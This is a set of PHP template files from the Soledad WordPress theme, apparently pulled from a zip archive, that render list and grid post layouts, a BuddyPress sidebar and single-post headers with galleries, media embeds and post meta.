<li class="list-post pclist-layout <?php echo implode( ' ', $post_class ); ?>">
    <article id="post-<?php the_ID(); ?>" class="item hentry">
		<?php if ( penci_get_post_format( 'gallery' ) ): ?>
			<?php $images = get_post_meta( get_the_ID(), '_format_gallery_images', true ); ?>
			<?php if ( $images ): ?>
                <div class="thumbnail">
                    <div class="swiper penci-owl-carousel penci-owl-carousel-slider penci-nav-visible"<?php if ( ! get_theme_mod('penci_grid_slider_auto') ) {?> data-auto="true"<?php }?>>
                        <div class="swiper-wrapper">
							<?php foreach ( $images as $image ): ?>

								<?php $the_image = wp_get_attachment_image_src( $image, penci_featured_images_size() ); ?>
								<?php $the_caption = get_post_field( 'post_excerpt', $image ); ?>
                                <div class="swiper-slide swiper-mark-item">

                                    <figure <?php echo penci_layout_bg( $the_image[0] );?> class="<?php echo penci_layout_bg_class();?> penci-swiper-mask penci-image-holder"
										<?php
										if ( $the_caption ):
											?>
                                            title="<?php echo esc_attr( $the_caption ); ?>"<?php endif; ?>>
										<?php echo penci_layout_img( $the_image[0], $the_caption ); ?>
                                    </figure>

                                </div>

							<?php endforeach; ?>
                        </div>
                    </div>
					<?php do_action( 'penci_bookmark_post' ); ?>
                </div>
			<?php endif; ?>

		<?php elseif ( has_post_thumbnail() ): ?>
            <div class="thumbnail">
				<?php
				do_action( 'penci_bookmark_post' );
				/* Display Review Piechart  */
				if ( function_exists( 'penci_display_piechart_review_html' ) ) {
					penci_display_piechart_review_html( get_the_ID() );
				}
				$thumbnail_load = penci_featured_images_size( $custom_image_size );
				$class_load     = '';
				if ( get_theme_mod( 'penci_grid_nocrop_list' ) ):
					$thumbnail_load = 'penci-masonry-thumb';
					$class_load     = ' penci-list-nocrop-thumb';
				endif;
				?>


                <a <?php echo penci_layout_bg( penci_image_srcset( get_the_ID(), $thumbnail_load )); ?> class="<?php echo penci_layout_bg_class();?> penci-image-holder<?php echo penci_class_lightbox_enable() . $class_load; ?>"
					<?php
					if ( get_theme_mod( 'penci_grid_nocrop_list' ) ):
						echo ' style="padding-bottom: ' . penci_get_featured_image_ratio( get_the_ID(), 'penci-masonry-thumb' ) . '%"';
					endif;
					?>
                   href="<?php penci_permalink_fix(); ?>"
                   title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
					<?php echo penci_layout_img( penci_image_srcset( get_the_ID(), $thumbnail_load ), get_the_title() ); ?>
                </a>


				<?php if ( ! get_theme_mod( 'penci_grid_icon_format' ) ): ?>
					<?php if ( has_post_format( 'video' ) ): ?>
                        <a href="<?php the_permalink(); ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-play' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'gallery' ) ): ?>
                        <a href="<?php the_permalink(); ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'far fa-image' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'audio' ) ): ?>
                        <a href="<?php the_permalink(); ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-music' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'link' ) ): ?>
                        <a href="<?php the_permalink(); ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-link' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'quote' ) ): ?>
                        <a href="<?php the_permalink(); ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-quote-left' ); ?></a>
					<?php endif; ?>
				<?php endif; ?>
            </div>
		<?php endif; ?>

        <div class="content-list-right content-list-center
		<?php
		if ( ! has_post_thumbnail() ):
			echo ' fullwidth';
		endif;
		?>
		">
            <div class="header-list-style">
				<?php if ( ! get_theme_mod( 'penci_grid_cat' ) ): ?>
                    <span class="cat"><?php penci_category( '' ); ?></span>
				<?php endif; ?>

                <<?php echo $heading_title_tag;?> class="penci-entry-title entry-title grid-title <?php echo $heading_title_tag_class;?>"><a
                            href="<?php the_permalink(); ?>"><?php the_title(); ?></a></<?php echo $heading_title_tag;?>>
				<?php do_action( 'penci_after_post_title' ); ?>
				<?php penci_soledad_meta_schema(); ?>
				<?php $hide_readtime = get_theme_mod( 'penci_grid_readingtime' ); ?>
				<?php if ( ! get_theme_mod( 'penci_grid_date' ) || ! get_theme_mod( 'penci_grid_author' ) || get_theme_mod( 'penci_grid_countviews' ) || get_theme_mod( 'penci_grid_comment_other' ) || penci_isshow_reading_time( $hide_readtime ) ): ?>
                    <div class="grid-post-box-meta">
						<?php do_action( 'penci_grid_meta' ); ?>
						<?php if ( ! get_theme_mod( 'penci_grid_author' ) ): ?>
                            <span class="otherl-date-author author-italic author vcard"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <?php
								if ( function_exists( 'coauthors_posts_links' ) ):
									penci_coauthors_posts_links();
								else:
									?>
                                    <a class="author-url url fn n"
                                       href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a>
								<?php endif; ?></span>
						<?php endif; ?>
						<?php if ( ! get_theme_mod( 'penci_grid_date' ) ): ?>
                            <span class="otherl-date"><?php penci_soledad_time_link(); ?></span>
						<?php endif; ?>
						<?php if ( get_theme_mod( 'penci_grid_comment_other' ) ): ?>
                            <span class="otherl-comment"><a
                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
						<?php endif; ?>
						<?php
						if ( get_theme_mod( 'penci_grid_countviews' ) ) {
							echo '<span>';
							echo penci_get_post_views( get_the_ID() );
							echo ' ' . penci_get_setting( 'penci_trans_countviews' );
							echo '</span>';
						}
						?>
						<?php if ( penci_isshow_reading_time( $hide_readtime ) ): ?>
                            <span class="otherl-readtime"><?php penci_reading_time(); ?></span>
						<?php endif; ?>
						<?php do_action( 'penci_extra_meta' ); ?>
                    </div>
				<?php endif; ?>
            </div>

			<?php if ( get_the_excerpt() && ! get_theme_mod( 'penci_grid_remove_excerpt' ) ): ?>
                <div <?php echo penci_excerpt_link(); ?>class="item-content entry-content">
					<?php
					do_action( 'penci_before_post_excerpt' );
					if ( get_theme_mod( 'penci_excerptcharac' ) ) {
						the_excerpt();
					} else {
						$excerpt_length = get_theme_mod( 'penci_post_excerpt_length', 30 );
						penci_the_excerpt( $excerpt_length, $post_id );
					}
					?>
                </div>
			<?php endif; ?>

			<?php
			if ( get_theme_mod( 'penci_grid_add_readmore' ) ):
				$class_button = '';
				if ( get_theme_mod( 'penci_grid_remove_arrow' ) ):
					$class_button .= ' penci-btn-remove-arrow';
				endif;
				if ( get_theme_mod( 'penci_grid_readmore_button' ) ):
					$class_button .= ' penci-btn-make-button';
				endif;
				if ( get_theme_mod( 'penci_grid_readmore_align' ) ):
					$class_button .= ' penci-btn-align-' . get_theme_mod( 'penci_grid_readmore_align' );
				endif;
				?>
                <div class="penci-readmore-btn<?php echo $class_button; ?>">
                    <a class="penci-btn-readmore"
                       href="<?php the_permalink(); ?>"><?php echo penci_get_setting( 'penci_trans_read_more' ); ?><?php penci_fawesome_icon( 'fas fa-angle-double-right' ); ?></a>
                </div>
			<?php endif; ?>

			<?php if ( ! get_theme_mod( 'penci_grid_share_box' ) ): ?>
                <div class="penci-post-box-meta penci-post-box-grid penci-post-box-listpost">
                    <div class="penci-post-share-box">
						<?php echo penci_getPostLikeLink( get_the_ID() ); ?>
						<?php penci_soledad_social_share(); ?>
                    </div>
                </div>
			<?php endif; ?>
        </div>

    </article>
</li>
<?php
if ( isset( $infeed_ads ) && $infeed_ads ) {
	penci_get_markup_infeed_ad(
		array(
			'wrapper'    => 'li',
			'classes'    => 'list-post pclist-layout penci-infeed-data',
			'fullwidth'  => $infeed_full,
			'order_ad'   => $infeed_num,
			'order_post' => $j,
			'code'       => $infeed_ads,
			'echo'       => true,
		)
	);
}
?>
<?php ++ $j; ?>
PK     N\|+  +    sidebar-buddypress.phpnu [        <?php
/**
 * Main sidebar of Soledad theme
 * Display all widgets on right sidebar
 *
 * @package Wordpress
 * @since   1.0
 */
$heading_title       = get_theme_mod( 'penci_sidebar_heading_style' ) ? get_theme_mod( 'penci_sidebar_heading_style' ) : 'style-1';
$heading_align       = get_theme_mod( 'penci_sidebar_heading_align' ) ? get_theme_mod( 'penci_sidebar_heading_align' ) : 'pcalign-center';
$sidebar_style       = get_theme_mod( 'penci_sidebar_style' ) ? get_theme_mod( 'penci_sidebar_style' ) : '';
$sidebar_icon_pos    = get_theme_mod( 'penci_sidebar_icon_align' ) ? get_theme_mod( 'penci_sidebar_icon_align' ) : 'pciconp-right';
$sidebar_icon_design = get_theme_mod( 'penci_sidebar_icon_design' ) ? get_theme_mod( 'penci_sidebar_icon_design' ) : 'pcicon-right';
?>

<div id="sidebar"
     class="penci-sidebar-content <?php echo esc_attr( $heading_title . ' ' . $heading_align . ' ' . $sidebar_style . ' ' . $sidebar_icon_pos . ' ' . $sidebar_icon_design ); ?><?php if ( get_theme_mod( 'penci_sidebar_sticky' ) ): echo ' penci-sticky-sidebar'; endif; ?>">
    <div class="theiaStickySidebar">
		<?php
		if ( is_active_sidebar( 'penci-buddypress' ) ) {
			dynamic_sidebar( 'penci-buddypress' );
		} elseif ( is_active_sidebar( 'main-sidebar' ) ) {
			dynamic_sidebar( 'main-sidebar' );
		}
		?>
    </div>
</div>
PK     N\4sXH  H    content-single-buddypress.phpnu [        <?php
/**
 * The template for displaying single pages.
 *
 * @since 1.0
 */
$block_style = get_theme_mod('penci_blockquote_style') ? get_theme_mod('penci_blockquote_style') : 'style-1';
$heading_style = penci_get_heading_style();
?>
<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
	<div class="post-entry <?php echo 'blockquote-'. $block_style; ?> <?php echo $heading_style; ?>">
		<div class="inner-post-entry entry-content">
			<?php the_content(); ?>
			
			<div class="penci-single-link-pages">
			<?php wp_link_pages(); ?>
			</div>
			
			<?php if ( ! get_theme_mod( 'penci_post_tags' ) && has_tag() ) : ?>
				<?php if ( is_single() ) : ?>
					<div class="post-tags">
						<?php the_tags( wp_kses( '', penci_allow_html() ), "", "" ); ?>
					</div>
				<?php endif; ?>
			<?php endif; ?>
		</div>
	</div>


</article>PK     N\2lH  H    content-single-full.phpnu [        <?php
/**
 * Display part top of full width single style
 * Call this file when enable single style 2
 *
 * @since 1.0
 */
$thumb_alt = $thumb_title_html = '';

if ( has_post_thumbnail() ) {
	$thumb_id         = get_post_thumbnail_id( get_the_ID() );
	$thumb_alt        = penci_get_image_alt( $thumb_id, get_the_ID() );
	$thumb_title_html = penci_get_image_title( $thumb_id );
}
$sidebar_position = penci_get_posts_sidebar_class();

$featured_image_size = get_theme_mod( 'penci_single_custom_thumbnail_size' ) ? get_theme_mod( 'penci_single_custom_thumbnail_size' ) : 'penci-full-thumb';
if ( 'two-sidebar' == $sidebar_position ) {
	$featured_image_size = 'penci-single-full';
}
if ( penci_is_mobile() ) {
	$featured_image_size = 'penci-masonry-thumb';
}
if ( has_post_thumbnail() ) {
	$thumb_id         = get_post_thumbnail_id( get_the_ID() );
	$thumb_alt        = penci_get_image_alt( $thumb_id, get_the_ID() );
	$thumb_title_html = penci_get_image_title( $thumb_id );

	$image_width  = penci_get_image_data_based_post_id( get_the_ID(), $featured_image_size, 'w', false );
	$image_height = penci_get_image_data_based_post_id( get_the_ID(), $featured_image_size, 'h', false );
}
$hide_featuimg    = get_post_meta( get_the_ID(), 'penci_post_hide_featuimg', true );
$show_featuredimg = true;
if ( get_theme_mod( 'penci_post_thumb' ) ) {
	$show_featuredimg = false;
}
if ( $hide_featuimg == 'yes' ) {
	$show_featuredimg = false;
}
if ( $hide_featuimg == 'no' ) {
	$show_featuredimg = true;
}
?>
<?php if ( ! get_theme_mod( 'penci_move_title_bellow' ) ) : ?>

    <div class="header-standard header-classic single-header">
		<?php do_action( 'penci_before_main_post_title' ); ?>
		<?php if ( ! get_theme_mod( 'penci_post_cat' ) ) : ?>
            <div class="penci-standard-cat penci-single-cat"><span class="cat"><?php penci_category( '' ); ?></span>
            </div>
		<?php endif; ?>
        <h1 class="post-title single-post-title entry-title"><?php the_title(); ?></h1>
		<?php penci_display_post_subtitle(); ?>
		<?php penci_soledad_meta_schema(); ?>
		<?php $hide_readtime = get_theme_mod( 'penci_single_hreadtime' ); ?>
		<?php if ( ! get_theme_mod( 'penci_single_meta_author' ) || ! get_theme_mod( 'penci_single_meta_date' ) || ! get_theme_mod( 'penci_single_meta_comment' ) || get_theme_mod( 'penci_single_show_cview' ) || penci_isshow_reading_time( $hide_readtime ) ) : ?>
            <div class="post-box-meta-single">
				<?php if ( ! get_theme_mod( 'penci_single_meta_author' ) ) : ?>
                    <span class="author-post byline">
						<span class="author vcard">
							<?php echo penci_get_setting( 'penci_trans_by' ); ?>
							<?php
							if ( function_exists( 'coauthors_posts_links' ) ) :
								penci_coauthors_posts_links();
							else :
								?>
                                <a class="author-url url fn n"
                                   href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a>
							<?php endif; ?>
						</span>
                    </span>
				<?php endif; ?>
				<?php penci_author_update_name(); ?>
				<?php if ( ! get_theme_mod( 'penci_single_meta_date' ) ) : ?>
                    <span><?php penci_soledad_time_link( 'single' ); ?></span>
				<?php endif; ?>
				<?php if ( ! get_theme_mod( 'penci_single_meta_comment' ) ) : ?>
                    <span><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></span>
				<?php endif; ?>
				<?php if ( get_theme_mod( 'penci_single_show_cview' ) ) : ?>
                    <span><i class="penci-post-countview-number"><?php echo penci_get_post_views( get_the_ID() ); ?></i> <?php echo penci_get_setting( 'penci_trans_countviews' ); ?></span>
				<?php endif; ?>
				<?php if ( penci_isshow_reading_time( $hide_readtime ) ) : ?>
                    <span class="single-readtime"><?php penci_reading_time(); ?></span>
				<?php endif; ?>
				<?php do_action( 'penci_single_meta_content' ); ?>
            </div>
		<?php endif; ?>
		<?php

		$recipe_title = get_post_meta( get_the_ID(), 'penci_recipe_title', true );
		if ( has_shortcode( get_the_content(), 'penci_recipe' ) || $recipe_title ) {
			do_action( 'penci_recipes_action_hook' );
		}
		?>
		<?php do_action( 'penci_after_main_post_title' ); ?>
    </div>

	<?php
	if ( 'btitle-bcontent' == get_theme_mod( 'penci_single_poslcscount' ) || 'btitle' == get_theme_mod( 'penci_single_poslcscount' ) ) {
		get_template_part( 'template-parts/single-meta-comment-top' );
	}

endif; /* End check move title bellow featured image */
?>

<?php if ( penci_get_post_format( 'link' ) || penci_get_post_format( 'quote' ) ) : ?>
    <div class="standard-post-special post-image
	<?php
	if ( penci_get_post_format( 'quote' ) ) :
		?>
		penci-special-format-quote<?php endif; ?>
											<?php
	if ( ! has_post_thumbnail() || get_theme_mod( 'penci_standard_thumbnail' ) ) :
		echo ' no-thumbnail';
	endif;
	?>
">
		<?php if ( has_post_thumbnail() && ! get_theme_mod( 'penci_standard_thumbnail' ) ) : ?>
			<?php if ( get_theme_mod( 'penci_speed_disable_first_screen' ) || ! get_theme_mod( 'penci_disable_lazyload_fsingle' ) ) { ?>
                <img class="attachment-penci-full-thumb size-penci-full-thumb penci-lazy wp-post-image pc-singlep-img"
                     width="<?php penci_get_image_data_based_post_id( get_the_ID(), $featured_image_size, 'w' ); ?>"
                     height="<?php penci_get_image_data_based_post_id( get_the_ID(), $featured_image_size, 'h' ); ?>"
                     src="<?php echo penci_holder_image_base( $image_width, $image_height ); ?>"
                     alt="<?php echo $thumb_alt; ?>"<?php echo $thumb_title_html; ?>
                     data-sizes="<?php echo penci_image_datasize( $featured_image_size, 'penci-masonry-thumb' ); ?>"
                     data-srcset="<?php echo penci_image_img_srcset( get_the_ID(), $featured_image_size, 'penci-masonry-thumb' ); ?>"
                     data-src="<?php echo penci_get_featured_image_size( get_the_ID(), $featured_image_size ); ?>">
			<?php } else { ?>
				<?php the_post_thumbnail( $featured_image_size, array( 'class' => 'pc-singlep-img' ) ); ?>
			<?php } ?>
		<?php endif; ?>
        <div class="standard-content-special">
            <div class="format-post-box
			<?php
			if ( penci_get_post_format( 'quote' ) ) {
				echo ' penci-format-quote';
			} else {
				echo ' penci-format-link';
			}
			?>
			">
                <span class="post-format-icon"><?php penci_fawesome_icon( 'fas fa-' . ( penci_get_post_format( 'quote' ) ? 'quote-left' : 'link' ) ); ?></span>
                <p class="dt-special">
					<?php
					if ( penci_get_post_format( 'quote' ) ) {
						$dt_content = get_post_meta( $post->ID, '_format_quote_source_name', true );
						if ( ! empty( $dt_content ) ) :
							echo sanitize_text_field( $dt_content );
						endif;
					} else {
						$dt_content = get_post_meta( $post->ID, '_format_link_url', true );
						if ( ! empty( $dt_content ) ) :
							echo '<a href="' . esc_url( $dt_content ) . '" target="_blank">' . sanitize_text_field( $dt_content ) . '</a>';
						endif;
					}
					?>
                </p>
				<?php
				if ( penci_get_post_format( 'quote' ) ) :
					$quote_author = get_post_meta( $post->ID, '_format_quote_source_url', true );
					if ( ! empty( $quote_author ) ) :
						echo '<div class="author-quote"><span>' . sanitize_text_field( $quote_author ) . '</span></div>';
					endif;
				endif;
				?>
            </div>
        </div>
    </div>

<?php elseif ( penci_get_post_format( 'gallery' ) ) : ?>

	<?php $images = get_post_meta( $post->ID, '_format_gallery_images', true ); ?>

	<?php
	if ( $images ) :
		$autoplay = ! get_theme_mod( 'penci_disable_autoplay_single_slider' ) ? 'true' : 'false';
		?>
        <div class="post-image">
            <div class="swiper penci-owl-carousel penci-owl-carousel-slider penci-nav-visible"
                 data-auto="<?php echo $autoplay; ?>" data-lazy="true">
                <div class="swiper-wrapper">
					<?php foreach ( $images as $image ) : ?>

						<?php $the_image = wp_get_attachment_image_src( $image, $featured_image_size ); ?>
						<?php
						$the_caption      = get_post_field( 'post_excerpt', $image );
						$image_alt        = penci_get_image_alt( $image, get_the_ID() );
						$image_title_html = penci_get_image_title( $image );
						?>
                        <div class="swiper-slide swiper-mark-item">
                            <figure class="penci-swiper-mask item-link-relative">
								<?php if ( get_theme_mod( 'penci_speed_disable_first_screen' ) || ! get_theme_mod( 'penci_disable_lazyload_fsingle' ) ) { ?>
									<?php echo penci_get_ratio_img_format_gallery( $the_image ); ?>
                                    <img class="penci-lazy"
                                         src="<?php echo penci_holder_image_base( $the_image[1], $the_image[2] ); ?>"
                                         data-src="<?php echo esc_url( $the_image[0] ); ?>"
                                         width="<?php echo $the_image[1]; ?>"
                                         height="<?php echo $the_image[2]; ?>"
                                         alt="<?php echo $image_alt; ?>"<?php echo $image_title_html; ?> />
								<?php } else { ?>
                                    <img src="<?php echo esc_url( $the_image[0] ); ?>"
                                         width="<?php echo $the_image[1]; ?>"
                                         height="<?php echo $the_image[2]; ?>"
                                         alt="<?php echo $image_alt; ?>"<?php echo $image_title_html; ?> />
								<?php } ?>
								<?php if ( get_theme_mod( 'penci_post_gallery_caption' ) && $the_caption ) : ?>
                                    <p class="penci-single-gallery-captions penci-single-gaformat-caption"><?php echo $the_caption; ?></p>
								<?php endif; ?>
                            </figure>
                        </div>

					<?php endforeach; ?>
                </div>
            </div>
        </div>
	<?php endif; ?>

<?php elseif ( penci_get_post_format( 'video' ) ) : ?>

    <div class="post-image">
		<?php $penci_video = get_post_meta( $post->ID, '_format_video_embed', true ); ?>
		<?php if ( wp_oembed_get( $penci_video ) ) : ?>
			<?php echo wp_oembed_get( $penci_video ); ?>
		<?php else : ?>
			<?php echo $penci_video; ?>
		<?php endif; ?>
    </div>

<?php elseif ( penci_get_post_format( 'audio' ) ) : ?>

    <div class="standard-post-image post-image audio
	<?php
	if ( ! has_post_thumbnail() || get_theme_mod( 'penci_post_thumb' ) ) :
		echo ' no-thumbnail';
	endif;
	?>
	">
		<?php if ( has_post_thumbnail() && ! get_theme_mod( 'penci_post_thumb' ) ) : ?>
			<?php if ( get_theme_mod( 'penci_speed_disable_first_screen' ) || ! get_theme_mod( 'penci_disable_lazyload_fsingle' ) ) { ?>
                <img class="attachment-penci-full-thumb size-penci-full-thumb penci-lazy wp-post-image pc-singlep-img"
                     width="<?php penci_get_image_data_based_post_id( get_the_ID(), $featured_image_size, 'w' ); ?>"
                     height="<?php penci_get_image_data_based_post_id( get_the_ID(), $featured_image_size, 'h' ); ?>"
                     src="<?php echo penci_holder_image_base( $image_width, $image_height ); ?>"
                     alt="<?php echo $thumb_alt; ?>"<?php echo $thumb_title_html; ?>
                     data-sizes="<?php echo penci_image_datasize( $featured_image_size, 'penci-masonry-thumb' ); ?>"
                     data-srcset="<?php echo penci_image_img_srcset( get_the_ID(), $featured_image_size, 'penci-masonry-thumb' ); ?>"
                     data-src="<?php echo penci_get_featured_image_size( get_the_ID(), $featured_image_size ); ?>">
			<?php } else { ?>
				<?php the_post_thumbnail( $featured_image_size, array( 'class' => 'pc-singlep-img' ) ); ?>
			<?php } ?>
		<?php endif; ?>
        <div class="audio-iframe">
			<?php
			$penci_audio     = get_post_meta( $post->ID, '_format_audio_embed', true );
			$penci_audio_str = substr( $penci_audio, - 4 );
			?>
			<?php if ( wp_oembed_get( $penci_audio ) ) : ?>
				<?php echo wp_oembed_get( $penci_audio ); ?>
			<?php elseif ( $penci_audio_str == '.mp3' ) : ?>
				<?php echo do_shortcode( '[audio src="' . esc_url( $penci_audio ) . '"]' ); ?>
			<?php else : ?>
				<?php echo $penci_audio; ?>
			<?php endif; ?>
        </div>
    </div>

<?php else : ?>

	<?php if ( has_post_thumbnail() ) : ?>
		<?php if ( $show_featuredimg == true ) : ?>
            <div class="post-image">
				<?php
				if ( ! get_theme_mod( 'penci_disable_lightbox_single' ) ) {
					$thumb_url = wp_get_attachment_url( get_post_thumbnail_id( $post->ID ) );
					echo '<a href="' . esc_url( $thumb_url ) . '" data-rel="penci-gallery-image-content">';
					?>
					<?php if ( get_theme_mod( 'penci_speed_disable_first_screen' ) || ! get_theme_mod( 'penci_disable_lazyload_fsingle' ) ) { ?>
                        <img class="attachment-penci-full-thumb size-penci-full-thumb penci-lazy wp-post-image pc-singlep-img"
                             width="<?php penci_get_image_data_based_post_id( get_the_ID(), $featured_image_size, 'w' ); ?>"
                             height="<?php penci_get_image_data_based_post_id( get_the_ID(), $featured_image_size, 'h' ); ?>"
                             src="<?php echo penci_holder_image_base( $image_width, $image_height ); ?>"
                             alt="<?php echo $thumb_alt; ?>"<?php echo $thumb_title_html; ?>
                             data-sizes="<?php echo penci_image_datasize( $featured_image_size, 'penci-masonry-thumb' ); ?>"
                             data-srcset="<?php echo penci_image_img_srcset( get_the_ID(), $featured_image_size, 'penci-masonry-thumb' ); ?>"
                             data-src="<?php echo penci_get_featured_image_size( get_the_ID(), $featured_image_size ); ?>">
					<?php } else { ?>
						<?php the_post_thumbnail( $featured_image_size, array( 'class' => 'pc-singlep-img' ) ); ?>
					<?php } ?>
					<?php
					echo '</a>';
				} else {
					?>
					<?php if ( get_theme_mod( 'penci_speed_disable_first_screen' ) || ! get_theme_mod( 'penci_disable_lazyload_fsingle' ) ) { ?>
                        <img class="attachment-penci-full-thumb size-penci-full-thumb penci-lazy wp-post-image pc-singlep-img"
                             width="<?php penci_get_image_data_based_post_id( get_the_ID(), $featured_image_size, 'w' ); ?>"
                             height="<?php penci_get_image_data_based_post_id( get_the_ID(), $featured_image_size, 'h' ); ?>"
                             src="<?php echo penci_holder_image_base( $image_width, $image_height ); ?>"
                             alt="<?php echo $thumb_alt; ?>"<?php echo $thumb_title_html; ?>
                             data-sizes="<?php echo penci_image_datasize( $featured_image_size, 'penci-masonry-thumb' ); ?>"
                             data-srcset="<?php echo penci_image_img_srcset( get_the_ID(), $featured_image_size, 'penci-masonry-thumb' ); ?>"
                             data-src="<?php echo penci_get_featured_image_size( get_the_ID(), $featured_image_size ); ?>">
					<?php } else { ?>
						<?php the_post_thumbnail( $featured_image_size, array( 'class' => 'pc-singlep-img' ) ); ?>
					<?php } ?>
					<?php
				}

				if ( get_the_post_thumbnail_caption() && get_theme_mod( 'penci_post_thumb_caption' ) ) {
					echo '<div class="penci-featured-caption">' . get_the_post_thumbnail_caption() . '</div>';
				}
				?>
            </div>
		<?php endif; ?>
	<?php endif; ?>

<?php endif; ?>

<?php if ( get_theme_mod( 'penci_move_title_bellow' ) ) : ?>

    <div class="header-standard header-classic single-header penci-title-bellow">
		<?php do_action( 'penci_before_main_post_title' ); ?>
		<?php if ( ! get_theme_mod( 'penci_post_cat' ) ) : ?>
            <div class="penci-standard-cat penci-single-cat"><span class="cat"><?php penci_category( '' ); ?></span>
            </div>
		<?php endif; ?>
        <h1 class="post-title single-post-title entry-title"><?php the_title(); ?></h1>
		<?php penci_display_post_subtitle(); ?>

		<?php if ( ! get_theme_mod( 'penci_single_meta_author' ) || ! get_theme_mod( 'penci_single_meta_date' ) || ! get_theme_mod( 'penci_single_meta_comment' ) || get_theme_mod( 'penci_single_show_cview' ) ) : ?>
            <div class="post-box-meta-single">
				<?php if ( ! get_theme_mod( 'penci_single_meta_author' ) ) : ?>
                    <span class="author-post byline"><span
                                class="author vcard"><?php echo penci_get_setting( 'penci_trans_by' ); ?>
							<?php
							if ( function_exists( 'coauthors_posts_links' ) ) :
								penci_coauthors_posts_links();
							else :
								?>
                                <a class="author-url url fn n"
                                   href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a>
							<?php endif; ?>
						</span>
                    </span>
				<?php endif; ?>
				<?php penci_author_update_name(); ?>
				<?php if ( ! get_theme_mod( 'penci_single_meta_date' ) ) : ?>
                    <span><?php penci_soledad_time_link( 'single' ); ?></span>
				<?php endif; ?>
				<?php if ( ! get_theme_mod( 'penci_single_meta_comment' ) ) : ?>
                    <span><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></span>
				<?php endif; ?>
				<?php if ( get_theme_mod( 'penci_single_show_cview' ) ) : ?>
                    <span><i class="penci-post-countview-number"><?php echo penci_get_post_views( get_the_ID() ); ?></i> <?php echo penci_get_setting( 'penci_trans_countviews' ); ?></span>
				<?php endif; ?>
				<?php if ( penci_isshow_reading_time( $hide_readtime ) ) : ?>
                    <span class="single-readtime"><?php penci_reading_time(); ?></span>
				<?php endif; ?>
				<?php do_action( 'penci_single_meta_content' ); ?>
            </div>
		<?php endif; ?>

		<?php
		$recipe_title = get_post_meta( get_the_ID(), 'penci_recipe_title', true );
		if ( has_shortcode( get_the_content(), 'penci_recipe' ) || $recipe_title ) {
			do_action( 'penci_recipes_action_hook' );
		}
		?>
		<?php do_action( 'penci_after_main_post_title' ); ?>
    </div>

<?php endif; /* End check move title bellow featured image */ ?>
PK     N\S"  "    content-grid.phpnu [        <?php
/**
 * Template loop for gird style
 */
if ( ! isset( $j ) ) {
	$j = 1;
} else {
	$j = $j;
}
$post_id = get_the_ID();
$heading_title_tag = get_theme_mod( 'penci_grid_title_tag', 'h2' );
$heading_title_tag_class = 'h2' == $heading_title_tag ? 'penci_grid_title_df' : 'penci_grid_title';
$item_class = get_theme_mod( 'penci_grid_cat' ) ? ' pchide-cat' : '';
?>
<li class="grid-style
<?php
if ( get_theme_mod( 'penci_grid_meta_overlay' ) ):
	echo ' grid-overlay-meta';
endif;
echo $item_class;
?>
">
    <article id="post-<?php the_ID(); ?>" class="item hentry<?php if ( ! has_post_thumbnail() ) : echo ' pc-nothumb'; endif; ?>">
		<?php if ( penci_get_post_format( 'gallery' ) ): ?>
			<?php $images = get_post_meta( get_the_ID(), '_format_gallery_images', true ); ?>
			<?php if ( $images ): ?>
                <div class="thumbnail">
                    <div class="swiper penci-owl-carousel penci-owl-carousel-slider penci-nav-visible"<?php if ( ! get_theme_mod('penci_grid_slider_auto') ) {?> data-auto="true"<?php }?>>
                        <div class="swiper-wrapper">
							<?php foreach ( $images as $image ): ?>
                                <div class="swiper-slide swiper-mark-item">
									<?php $the_image = wp_get_attachment_image_src( $image, penci_featured_images_size() ); ?>
									<?php $the_caption = get_post_field( 'post_excerpt', $image ); ?>


                                        <figure <?php echo penci_layout_bg($the_image[0]);?> class="<?php echo penci_layout_bg_class();?> penci-swiper-mask penci-image-holder"
											<?php
											if ( $the_caption ):
												?>
                                                title="<?php echo esc_attr( $the_caption ); ?>"<?php endif; ?>>
	                                        <?php echo penci_layout_img($the_image[0],$the_caption);?>
                                        </figure>

                                </div>
							<?php endforeach; ?>
                        </div>
                    </div>
					<?php do_action( 'penci_bookmark_post' ); ?>
                </div>
			<?php endif; ?>

		<?php elseif ( has_post_thumbnail() ): ?>
            <div class="thumbnail">
				<?php
				do_action( 'penci_bookmark_post' );
				/* Display Review Piechart  */
				if ( function_exists( 'penci_display_piechart_review_html' ) ) {
					penci_display_piechart_review_html( get_the_ID() );
				}
				?>
                <a <?php echo penci_layout_bg( penci_image_srcset( get_the_ID(), penci_featured_images_size() ) ); ?> class="<?php echo penci_layout_bg_class();?> penci-image-holder<?php echo penci_class_lightbox_enable(); ?>"
                   href="<?php penci_permalink_fix(); ?>"
                   title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
					<?php echo penci_layout_img( penci_image_srcset( get_the_ID(), penci_featured_images_size() ), get_the_title() ); ?>
                </a>
				<?php if ( ! get_theme_mod( 'penci_grid_icon_format' ) ): ?>
					<?php if ( has_post_format( 'video' ) ): ?>
                        <a href="<?php the_permalink(); ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-play' ); ?></a>
					<?php endif; ?>
